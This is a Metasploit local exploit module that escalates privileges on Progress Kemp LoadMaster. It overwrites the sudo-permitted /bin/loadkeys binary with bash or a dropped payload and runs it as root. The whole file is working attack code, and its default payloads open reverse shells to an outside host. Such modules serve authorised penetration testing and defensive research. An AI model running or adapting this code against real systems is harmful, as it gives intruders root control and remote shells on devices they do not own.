# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kemp LoadMaster Local sudo privilege escalation',
        'Description' => %q{
          This module abuses a feature of the sudo command on Progress Kemp
          LoadMaster.  Certain binary files are allowed to automatically elevate
          with the sudo command.  This is based off of the file name.  Some files
          have this permission are not write-protected from the default 'bal' user.
          As such, if the file is overwritten with an arbitrary file, it will still
          auto-elevate.  This module overwrites the /bin/loadkeys file with another
          executable.
        },
        'Author' => [
          'Dave Yesland with Rhino Security Labs',
          'bwatters-r7' # module,
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-1212'],
          # The vendor declared this was not a vulnerability so no CVE has been assigned.
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
          ['URL', 'https://kemptechnologies.com/kemp-load-balancers']
        ],
        'DisclosureDate' => '2024-03-19',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'SessionTypes' => ['shell', 'meterpreter'],
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Command',
            {
              'Arch' => [ARCH_CMD],
              'Type' => :command,
              'Payload' =>
                {
                  'BadChars' => "\x27",
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'generic gawk telnet ssh echo'
                    }
                },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse'
              }
            }
          ]
        ],
        'Privileged' => true
      )
    )
    register_options([
      OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']),
      OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ])
    ])
  end

  def check
    score = 0
    score += 1 if file?('/usr/wui/index.js') && read_file('/usr/wui/index.js').include?('KEMP')
    score += 1 if file?('/etc/motd') && read_file('/etc/motd').include?('Kemp LoadMaster')
    score += 1 if file?('/usr/wui/eula.kemp.html')
    return CheckCode::Detected("Found #{score} indicators this is a KEMP product") if score > 0

    CheckCode::Safe("Found #{score} indicators this is a KEMP product")
  end

  def verify_copy(src, dest, elevate)
    orig_file_hash = file_remote_digestmd5(src)
    vprint_status("Moving #{src} to #{dest}")
    if elevate
      output = cmd_exec("sudo /bin/cp '#{src}' '#{dest}'")
    else
      output = cmd_exec("/bin/cp '#{src}' '#{dest}'")
    end
    return true if file_remote_digestmd5(dest) == orig_file_hash

    print_bad("Copy failed - #{output}")
    false
  end

  def execute_dropper(target_binary, binary_rename, temp_payload_path)
    vprint_status("Writing payload to #{temp_payload_path}")
    write_file(temp_payload_path, generate_payload_exe)
    chmod(temp_payload_path)
    register_file_for_cleanup(temp_payload_path)
    return unless verify_copy(target_binary, binary_rename, false)
    return unless verify_copy(temp_payload_path, target_binary, true)

    vprint_status("Running #{target_binary}")
    cmd_exec("sudo '#{target_binary}'")
  end

  def execute_command(target_binary, binary_rename, cmd)
    vprint_status('Preparing payload command')
    # save copy of target_binary
    return unless verify_copy(target_binary, binary_rename, false)
    return unless verify_copy('/bin/bash', target_binary, true)

    vprint_status('Running payload command')
    vprint_status(cmd_exec("sudo #{target_binary} -c '#{cmd}'"))
  end

  def exploit
    writable_dir = datastore['WRITABLE_DIR']
    if writable_dir.blank? || (writable_dir[-1] != '/')
      writable_dir += '/'
    end
    fail_with(Failure::BadConfig, "Invalid WRITABLE_DIR: #{writable_dir}") unless directory?(writable_dir)
    target_binary = datastore['TARGET_BINARY']
    binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
    target_binary_hash = file_remote_digestmd5(target_binary)
    begin
      case target['Type']
      when :dropper
        temp_payload = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
        execute_dropper(target_binary, binary_rename, temp_payload)
      when :command
        execute_command(target_binary, binary_rename, payload.encoded)
      end
    ensure
      unless target_binary_hash == file_remote_digestmd5(target_binary)
        cmd_exec("sudo rm '#{target_binary}'")
        verify_copy(binary_rename, target_binary, true)
        cmd_exec("sudo rm '#{binary_rename}'")
      end
    end
    if target_binary_hash == file_remote_digestmd5(target_binary)
      print_good("#{target_binary} returned to original contents")
    else
      print_bad("#{target_binary} was not returned to original contents")
    end
  end
end
